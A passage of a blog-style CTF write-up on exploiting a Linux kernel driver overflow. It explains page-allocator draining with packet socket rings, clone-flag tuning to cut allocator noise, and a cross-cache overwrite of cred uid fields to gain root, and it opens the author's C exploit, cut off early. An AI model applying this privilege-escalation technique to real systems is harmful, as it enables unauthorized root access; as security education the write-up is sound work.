}</span></span></p><p>This case calls <code>packet_set_ring</code> using the provided <code>tpacket_req_u</code> union, which then calls <a href="https://elixir.bootlin.com/linux/v5.18.3/source/net/packet/af_packet.c#L4423"><code>alloc_pg_vec</code></a>. The arguments here utilize the <code>tpacket_req</code> struct pulled from the union, as well as the order based on the struct’s <code>tp_block_size</code>. In this latter <a href="https://elixir.bootlin.com/linux/v5.18.3/source/net/packet/af_packet.c#L4338">function</a>, it calls <code>alloc_one_page_vec</code> <code>tp_block_nr</code> of times, which leads to a <code>__get_free_pages</code> call.</p><span style="background-color: whitesmoke; display: block; font-family: monospace; max-width: 100%; overflow-x: auto; white-space: pre;"><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">static</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">struct</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> pgv *</span><span class="hljs-title function_" style="color: #a31515; font-family: monospace; white-space: pre;">alloc_pg_vec</span><span class="hljs-params" style="font-family: monospace; white-space: pre;">(<span class="hljs-keyword" style="color: blue;">struct</span> tpacket_req *req, <span class="hljs-type" style="color: #a31515;">int</span> order)</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
{
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">unsigned</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">int</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> block_nr = req->tp_block_nr;
</span><span class="hljs-class" style="font-family: monospace; white-space: pre;"><span class="hljs-keyword" style="color: blue;">struct</span> <span class="hljs-title" style="color: #a31515;">pgv</span> *<span class="hljs-title" style="color: #a31515;">pg_vec</span>;</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">int</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> i;
pg_vec = kcalloc(block_nr, </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">sizeof</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">struct</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> pgv), GFP_KERNEL | __GFP_NOWARN);
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">if</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> (unlikely(!pg_vec))
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">goto</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> out;
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">for</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> (i = </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">; i < block_nr; i++) {
pg_vec[i].buffer = alloc_one_pg_vec_page(order);
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">if</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> (unlikely(!pg_vec[i].buffer))
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">goto</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> out_free_pgvec;
}
out:
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">return</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> pg_vec;
out_free_pgvec:
free_pg_vec(pg_vec, order, block_nr);
pg_vec = </span><span class="hljs-literal" style="color: #a31515; font-family: monospace; white-space: pre;">NULL</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">;
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">goto</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> out; </span><p><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">}</span></p></span><p>What the above primitive gives us is the ability to drain <code>tp_block_nr</code> number of order n (where n is determined by <code>tp_block_size</code>)
pages and to free <span style="font-family: monospace;">tp_block_nr</span> amount of pages by closing the
socket fd. The only issue is that default low privileged users can’t
utilize these functions in the root namespace, but we can usually make
our own unprivileged namespaces in many Linux systems. There are
definitely alternative methods to drain pages (and most likely ones
without needing namespaces). Another approach to page draining would be to repeatedly spray object allocations (like msg_msg which I
disabled), though it might be less reliable if it is in a shared slab.</p><p>Another important point to address now for the exploit is on the noise <code>fork</code> (or <code>clone</code> with equivalent flags) causes. Everytime you <code>fork</code>, many allocations (from both kmalloc and buddy allocator) occurs. </p><p>The core function for process creation is <a href="https://elixir.bootlin.com/linux/v5.18.3/source/kernel/fork.c#L2599"><code>kernel_clone</code></a>. Keep in mind that a traditional fork has no flags set in <code>kernel_clone_args</code>. The following then happens:</p><p><code><span style="font-family: Times New Roman;">1. </span>kernel_clone</code> calls <a href="https://elixir.bootlin.com/linux/v5.18.3/source/kernel/fork.c#L1972"><code>copy_process</code></a></p><p><code><span style="font-family: Times New Roman;">2. </span>copy_process</code> calls <a href="https://elixir.bootlin.com/linux/v5.18.3/source/kernel/fork.c#L964"><code>dup_task_struct</code></a>. This allocates a task_struct from its own cache (relies on order 2 pages in target system). Then, it calls <a href="https://elixir.bootlin.com/linux/v5.18.3/source/kernel/fork.c#L275"><code>alloc_thread_stack_node</code></a>, which will use <code>__vmalloc_node_range</code>
to allocate a 16kb vrtually contiguous region for kernel thread stack
if no cached stacks are available. This usually will allocate away 4
order 0 pages.</p><p>3. The above vmalloc call allocates a kmalloc-64 chunk to help
setup the vmalloc virtual mappings. Following this, the kernel allocates two <code>vmap_area</code> chunks from <code>vmap_area_cachep</code>. For this system and kernel, there were 2, with the first from <a href="https://elixir.bootlin.com/linux/v5.18.3/source/mm/vmalloc.c#L1539"><code>alloc_vmap_area</code></a>. I am not completely sure where the second <code>vmap_area</code> chunk allocation was triggered from - I suspect it came from <a href="https://elixir.bootlin.com/linux/v5.18.3/source/mm/vmalloc.c#L1527"><code>preload_this_cpu_lock</code></a>. Debugging confirms this hypothesis on this setup and shows that it does not hit the subsequent free path.</p><p>4. Then <code>copy_process</code> calls <a href="https://elixir.bootlin.com/linux/v5.18.3/source/kernel/cred.c#L340"><code>copy_creds</code></a>, which triggers a cred object (our desired target) allocation from <code>prepare_creds</code>. This occurs as long as the <code>CLONE_THREAD</code> flag isn’t set.</p><p><span style="background-color: whitesmoke; display: block; font-family: monospace; max-width: 100%; overflow-x: auto; white-space: pre;"><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">int</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-title function_" style="color: #a31515; font-family: monospace; white-space: pre;">copy_creds</span><span class="hljs-params" style="font-family: monospace; white-space: pre;">(<span class="hljs-keyword" style="color: blue;">struct</span> task_struct *p, <span class="hljs-type" style="color: #a31515;">unsigned</span> <span class="hljs-type" style="color: #a31515;">long</span> clone_flags)</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
{
</span><span class="hljs-class" style="font-family: monospace; white-space: pre;"><span class="hljs-keyword" style="color: blue;">struct</span> <span class="hljs-title" style="color: #a31515;">cred</span> *<span class="hljs-title" style="color: #a31515;">new</span>;</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">int</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> ret;
</span><span class="hljs-meta" style="color: #2b91af; font-family: monospace; white-space: pre;">#<span class="hljs-keyword" style="color: blue;">ifdef</span> CONFIG_KEYS_REQUEST_CACHE</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
p->cached_requested_key = </span><span class="hljs-literal" style="color: #a31515; font-family: monospace; white-space: pre;">NULL</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">;
</span><span class="hljs-meta" style="color: #2b91af; font-family: monospace; white-space: pre;">#<span class="hljs-keyword" style="color: blue;">endif</span></span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">if</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> (
</span><span class="hljs-meta" style="color: #2b91af; font-family: monospace; white-space: pre;">#<span class="hljs-keyword" style="color: blue;">ifdef</span> CONFIG_KEYS</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
!p->cred->thread_keyring &&
</span><span class="hljs-meta" style="color: #2b91af; font-family: monospace; white-space: pre;">#<span class="hljs-keyword" style="color: blue;">endif</span></span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
clone_flags & CLONE_THREAD
) {
p->real_cred = get_cred(p->cred);
get_cred(p->cred);
alter_cred_subscribers(p->cred, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">2</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
kdebug(</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"share_creds(%p{%d,%d})"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">,
p->cred, </span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">atomic_read</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(&p->cred->usage),
read_cred_subscribers(p->cred));
inc_rlimit_ucounts(task_ucounts(p), UCOUNT_RLIMIT_NPROC, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">1</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">return</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">;
}
new = prepare_creds();
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">if</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> (!new)
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">return</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> -ENOMEM;</span></span></p><p>5. Starting from this section of <a href="https://elixir.bootlin.com/linux/v5.18.3/source/kernel/fork.c#L2219"><code>copy_process</code></a>,
a series of copy_x functions (where x is some process attributes)
begins. All of them will trigger an allocation, unless its respective <code>CLONE</code> flag is set. In a normal fork, one would expect a new chunk to be allocated from <code>files_cache</code>, <code>fs_cache</code>, <code>sighand_cache</code>, and <code>signal_cache</code>. The source of the largest noise comes from the setup of <code>mm_struct</code>, which triggers as long as <code>CLONE_VM</code> isn’t set. This in turn triggers a lot of memory allocation activity, in caches like <code>vm_area_struct</code>, <code>anon_vma_chain</code>, and <code>anon_vma</code>. All of these allocations here are backed by order 0 pages on this system.</p><p></p><pre style="-webkit-text-stroke-width: 0px; color: black; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-decoration-color: initial; text-decoration-style: initial; text-decoration-thickness: initial; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px;"></pre><p></p><pre style="-webkit-text-stroke-width: 0px; color: black; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-decoration-color: initial; text-decoration-style: initial; text-decoration-thickness: initial; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px;"><code class="language-c hljs" style="background: rgb(255, 255, 255); color: black; display: block; overflow-x: auto; padding: 1em;"><span style="background-color: whitesmoke; display: block; font-family: monospace; max-width: 100%; overflow-x: auto; white-space: pre;"> retval = copy_semundo(clone_flags, p);
<span class="hljs-keyword" style="color: blue;">if</span> (retval)
<span class="hljs-keyword" style="color: blue;">goto</span> bad_fork_cleanup_security;
retval = copy_files(clone_flags, p);
<span class="hljs-keyword" style="color: blue;">if</span> (retval)
<span class="hljs-keyword" style="color: blue;">goto</span> bad_fork_cleanup_semundo;
retval = copy_fs(clone_flags, p);
<span class="hljs-keyword" style="color: blue;">if</span> (retval)
<span class="hljs-keyword" style="color: blue;">goto</span> bad_fork_cleanup_files;
retval = copy_sighand(clone_flags, p);
<span class="hljs-keyword" style="color: blue;">if</span> (retval)
<span class="hljs-keyword" style="color: blue;">goto</span> bad_fork_cleanup_fs;
retval = copy_signal(clone_flags, p);
<span class="hljs-keyword" style="color: blue;">if</span> (retval)
<span class="hljs-keyword" style="color: blue;">goto</span> bad_fork_cleanup_sighand;
retval = copy_mm(clone_flags, p);
<span class="hljs-keyword" style="color: blue;">if</span> (retval)
<span class="hljs-keyword" style="color: blue;">goto</span> bad_fork_cleanup_signal;
retval = copy_namespaces(clone_flags, p);
<span class="hljs-keyword" style="color: blue;">if</span> (retval)
<span class="hljs-keyword" style="color: blue;">goto</span> bad_fork_cleanup_mm;
retval = copy_io(clone_flags, p);
<span class="hljs-keyword" style="color: blue;">if</span> (retval)
<span class="hljs-keyword" style="color: blue;">goto</span> bad_fork_cleanup_namespaces;
retval = copy_thread(clone_flags, args-><span class="hljs-built_in" style="color: blue;">stack</span>, args->stack_size, p, args->tls);
<span class="hljs-keyword" style="color: blue;">if</span> (retval)
<span class="hljs-keyword" style="color: blue;">goto</span> bad_fork_cleanup_io;</span></code></pre><p>6. Lastly, the kernel <a href="https://elixir.bootlin.com/linux/v5.18.3/source/kernel/fork.c#L2250">allocates</a> a pid chunk - its slab requires an order 0 page.</p><div><p>There are definitely more details and steps I missed, but the above should
suffice for the context of this writeup. The utilized cache properties might also be different depending on slab mergeability and required
page sizes for other systems.</p>
<p>Ignoring page allocations from calls like vmalloc and just looking at
slab allocations, a single fork would trigger this pattern in this
system: </p><p><span style="background-color: whitesmoke; display: block; font-family: monospace; max-width: 100%; overflow-x: auto; white-space: pre;"><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">task_struct
kmalloc-64
vmap_area
vmap_area
cred_jar
files_cache
fs_cache
sighand_cache
signal_cache
mm_struct
vm_area_struct
vm_area_struct
vm_area_struct
vm_area_struct
anon_vma_chain
anon_vma
anon_vma_chain
vm_area_struct
anon_vma_chain
anon_vma
anon_vma_chain
vm_area_struct
anon_vma_chain
anon_vma
anon_vma_chain
vm_area_struct
anon_vma_chain
anon_vma
anon_vma_chain
vm_area_struct
anon_vma_chain
anon_vma
anon_vma_chain
vm_area_struct
vm_area_struct
pid</span></span></p><p>Based on our source analysis earlier on, and the <a href="https://linux.die.net/man/2/clone">clone manpage</a>, I managed to drastically reduce this noise with the following flags: <code>CLONE_FILES | CLONE_FS | CLONE_VM | CLONE_SIGHAND</code>. Now, cloning only produces these series of slab allocations:</p><p><span style="background-color: whitesmoke; display: block; font-family: monospace; max-width: 100%; overflow-x: auto; white-space: pre;"><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">task_struct
kmalloc-64
vmap_area
vmap_area
cred_jar
signal_cache
pid</span></span></p><p>Note that there will still be the 4 order 0 page allocations from
vmalloc as well. Regardless, this noise level is much more acceptable.
The only issue now is that our child processes cannot really write to any
process memory as it’s sharing the same virtual memory, so we have to
use shellcode dependent on only registers to check for successful
privilege escalation.</p><p>Knowing all of this, we can formulate an exploit now.</p><p>Using the initial setsockopt page spray technique, I requested many
order 0 pages and freed one out of every two of them. I will now have a
lot of order 0 pages that will not be coalesced into order 1 pages. I
had the initial exploit fork into a separate privileged user namespace
in order to utilize these page level spraying primitives.</p><p>Then, I called clone many times with the above flags to trigger the creation of <code>cred</code>
objects, freed remaining order 0 pages, and sprayed allocations of the
vulnerable object to create a scenario where one page of vulnerable
objects are on of a <code>cred</code> objects page. Note that this isn’t
structured in a way that follows the allocation behavior seen in fork exactly -
we would be allocating adjacent to all the above objects reliant on
order 0 (pages for vmalloc, pid slab, vmap_area slab, etc.) However, the
differences should eventually align properly against a cred slab (and
it turned out that it did!) to create the adjacency scenario. I would
assume the overflow has also hit other chunks, which might result in
horrible crashes, but I rarely experienced this - I am not exactly sure
why this is the case.</p><p>I overflowed all of the vulnerable objects with the following
payload: 4 bytes that represent 1 and 2 bytes that represents 0. This
first 4 bytes is to keep the usage field sane for kernel checks, while
the second 2 bytes will zero out the uid field (as Linux uids don’t go
over 65535). After this overflow spray, I pipe a message to all the
forks - they in turn will check their uid and drop a shell if it is
root.</p><p>
</p><p>Below is my final exploit, which effectively has a 100% success rate.</p><p><span style="background-color: whitesmoke; display: block; font-family: monospace; max-width: 100%; overflow-x: auto; white-space: pre;"><span class="hljs-meta" style="color: #2b91af; font-family: monospace; white-space: pre;">#<span class="hljs-keyword" style="color: blue;">define</span> _GNU_SOURCE</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-meta" style="color: #2b91af; font-family: monospace; white-space: pre;">#<span class="hljs-keyword" style="color: blue;">include</span> <span class="hljs-string" style="color: #a31515;"><stdio.h></span></span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-meta" style="color: #2b91af; font-family: monospace; white-space: pre;">#<span class="hljs-keyword" style="color: blue;">include</span> <span class="hljs-string" style="color: #a31515;"><stdint.h></span></span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-meta" style="color: #2b91af; font-family: monospace; white-space: pre;">#<span class="hljs-keyword" style="color: blue;">include</span> <span class="hljs-string" style="color: #a31515;"><string.h></span></span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-meta" style="color: #2b91af; font-family: monospace; white-space: pre;">#<span class="hljs-keyword" style="color: blue;">include</span> <span class="hljs-string" style="color: #a31515;"><unistd.h></span></span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-meta" style="color: #2b91af; font-family: monospace; white-space: pre;">#<span class="hljs-keyword" style="color: blue;">include</span> <span class="hljs-string" style="color: #a31515;"><stdlib.h></span></span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-meta" style="color: #2b91af; font-family: monospace; white-space: pre;">#<span class="hljs-keyword" style="color: blue;">include</span> <span class="hljs-string" style="color: #a31515;"><fcntl.h></span></span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-meta" style="color: #2b91af; font-family: monospace; white-space: pre;">#<span class="hljs-keyword" style="color: blue;">include</span> <span class="hljs-string" style="color: #a31515;"><sched.h></span></span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-meta" style="color: #2b91af; font-family: monospace; white-space: pre;">#<span class="hljs-keyword" style="color: blue;">include</span> <span class="hljs-string" style="color: #a31515;"><assert.h></span></span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-meta" style="color: #2b91af; font-family: monospace; white-space: pre;">#<span class="hljs-keyword" style="color: blue;">include</span> <span class="hljs-string" style="color: #a31515;"><time.h></span></span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-meta" style="color: #2b91af; font-family: monospace; white-space: pre;">#<span class="hljs-keyword" style="color: blue;">include</span> <span class="hljs-string" style="color: #a31515;"><sys/socket.h></span></span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-meta" style="color: #2b91af; font-family: monospace; white-space: pre;">#<span class="hljs-keyword" style="color: blue;">include</span> <span class="hljs-string" style="color: #a31515;"><stdbool.h></span></span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-meta" style="color: #2b91af; font-family: monospace; white-space: pre;">#<span class="hljs-keyword" style="color: blue;">define</span> ALLOC 0xcafebabe</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-meta" style="color: #2b91af; font-family: monospace; white-space: pre;">#<span class="hljs-keyword" style="color: blue;">define</span> DELETE 0xdeadbabe</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-meta" style="color: #2b91af; font-family: monospace; white-space: pre;">#<span class="hljs-keyword" style="color: blue;">define</span> EDIT 0xf00dbabe</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-meta" style="color: #2b91af; font-family: monospace; white-space: pre;">#<span class="hljs-keyword" style="color: blue;">define</span> CLONE_FLAGS CLONE_FILES | CLONE_FS | CLONE_VM | CLONE_SIGHAND</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">typedef</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-class" style="font-family: monospace; white-space: pre;"><span class="hljs-keyword" style="color: blue;">struct</span>
{</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">int64_t</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> idx;
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">uint64_t</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> size;
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">char</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> *buf;
}</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">user_req_t</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">;
</span><span class="hljs-class" style="font-family: monospace; white-space: pre;"><span class="hljs-keyword" style="color: blue;">struct</span> <span class="hljs-title" style="color: #a31515;">tpacket_req</span> {</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">unsigned</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">int</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> tp_block_size;
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">unsigned</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">int</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> tp_block_nr;
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">unsigned</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">int</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> tp_frame_size;
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">unsigned</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">int</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> tp_frame_nr;
};
</span><span class="hljs-class" style="font-family: monospace; white-space: pre;"><span class="hljs-keyword" style="color: blue;">enum</span> <span class="hljs-title" style="color: #a31515;">tpacket_versions</span> {</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
TPACKET_V1,
TPACKET_V2,
TPACKET_V3,
};
</span><span class="hljs-meta" style="color: #2b91af; font-family: monospace; white-space: pre;">#<span class="hljs-keyword" style="color: blue;">define</span> PACKET_VERSION 10</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-meta" style="color: #2b91af; font-family: monospace; white-space: pre;">#<span class="hljs-keyword" style="color: blue;">define</span> PACKET_TX_RING 13</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-meta" style="color: #2b91af; font-family: monospace; white-space: pre;">#<span class="hljs-keyword" style="color: blue;">define</span> FORK_SPRAY 320</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-meta" style="color: #2b91af; font-family: monospace; white-space: pre;">#<span class="hljs-keyword" style="color: blue;">define</span> CHUNK_SIZE 512</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-meta" style="color: #2b91af; font-family: monospace; white-space: pre;">#<span class="hljs-keyword" style="color: blue;">define</span> ISO_SLAB_LIMIT 8</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-meta" style="color: #2b91af; font-family: monospace; white-space: pre;">#<span class="hljs-keyword" style="color: blue;">define</span> CRED_JAR_INITIAL_SPRAY 100</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-meta" style="color: #2b91af; font-family: monospace; white-space: pre;">#<span class="hljs-keyword" style="color: blue;">define</span> INITIAL_PAGE_SPRAY 1000</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-meta" style="color: #2b91af; font-family: monospace; white-space: pre;">#<span class="hljs-keyword" style="color: blue;">define</span> FINAL_PAGE_SPRAY 30</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">typedef</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-class" style="font-family: monospace; white-space: pre;"><span class="hljs-keyword" style="color: blue;">struct</span>
{</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">bool</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> in_use;
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">int</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> idx[ISO_SLAB_LIMIT];
}full_page;
</span><span class="hljs-class" style="font-family: monospace; white-space: pre;"><span class="hljs-keyword" style="color: blue;">enum</span> <span class="hljs-title" style="color: #a31515;">spray_cmd</span> {</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
ALLOC_PAGE,
FREE_PAGE,
EXIT_SPRAY,
};
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">typedef</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-class" style="font-family: monospace; white-space: pre;"><span class="hljs-keyword" style="color: blue;">struct</span>
{</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-class" style="font-family: monospace; white-space: pre;"><span class="hljs-keyword" style="color: blue;">enum</span> <span class="hljs-title" style="color: #a31515;">spray_cmd</span> <span class="hljs-title" style="color: #a31515;">cmd</span>;</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">int32_t</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> idx;
}</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">ipc_req_t</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">;
full_page isolation_pages[FINAL_PAGE_SPRAY] = {</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">};
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">int</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> rootfd[</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">2</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">];
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">int</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> sprayfd_child[</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">2</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">];
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">int</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> sprayfd_parent[</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">2</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">];
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">int</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> socketfds[INITIAL_PAGE_SPRAY];
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">int64_t</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-title function_" style="color: #a31515; font-family: monospace; white-space: pre;">ioctl</span><span class="hljs-params" style="font-family: monospace; white-space: pre;">(<span class="hljs-type" style="color: #a31515;">int</span> fd, <span class="hljs-type" style="color: #a31515;">unsigned</span> <span class="hljs-type" style="color: #a31515;">long</span> request, <span class="hljs-type" style="color: #a31515;">unsigned</span> <span class="hljs-type" style="color: #a31515;">long</span> param)</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
{
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">long</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> result = syscall(</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">16</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, fd, request, param);
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">if</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> (result < </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">)
perror(</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"ioctl on driver"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">return</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> result;
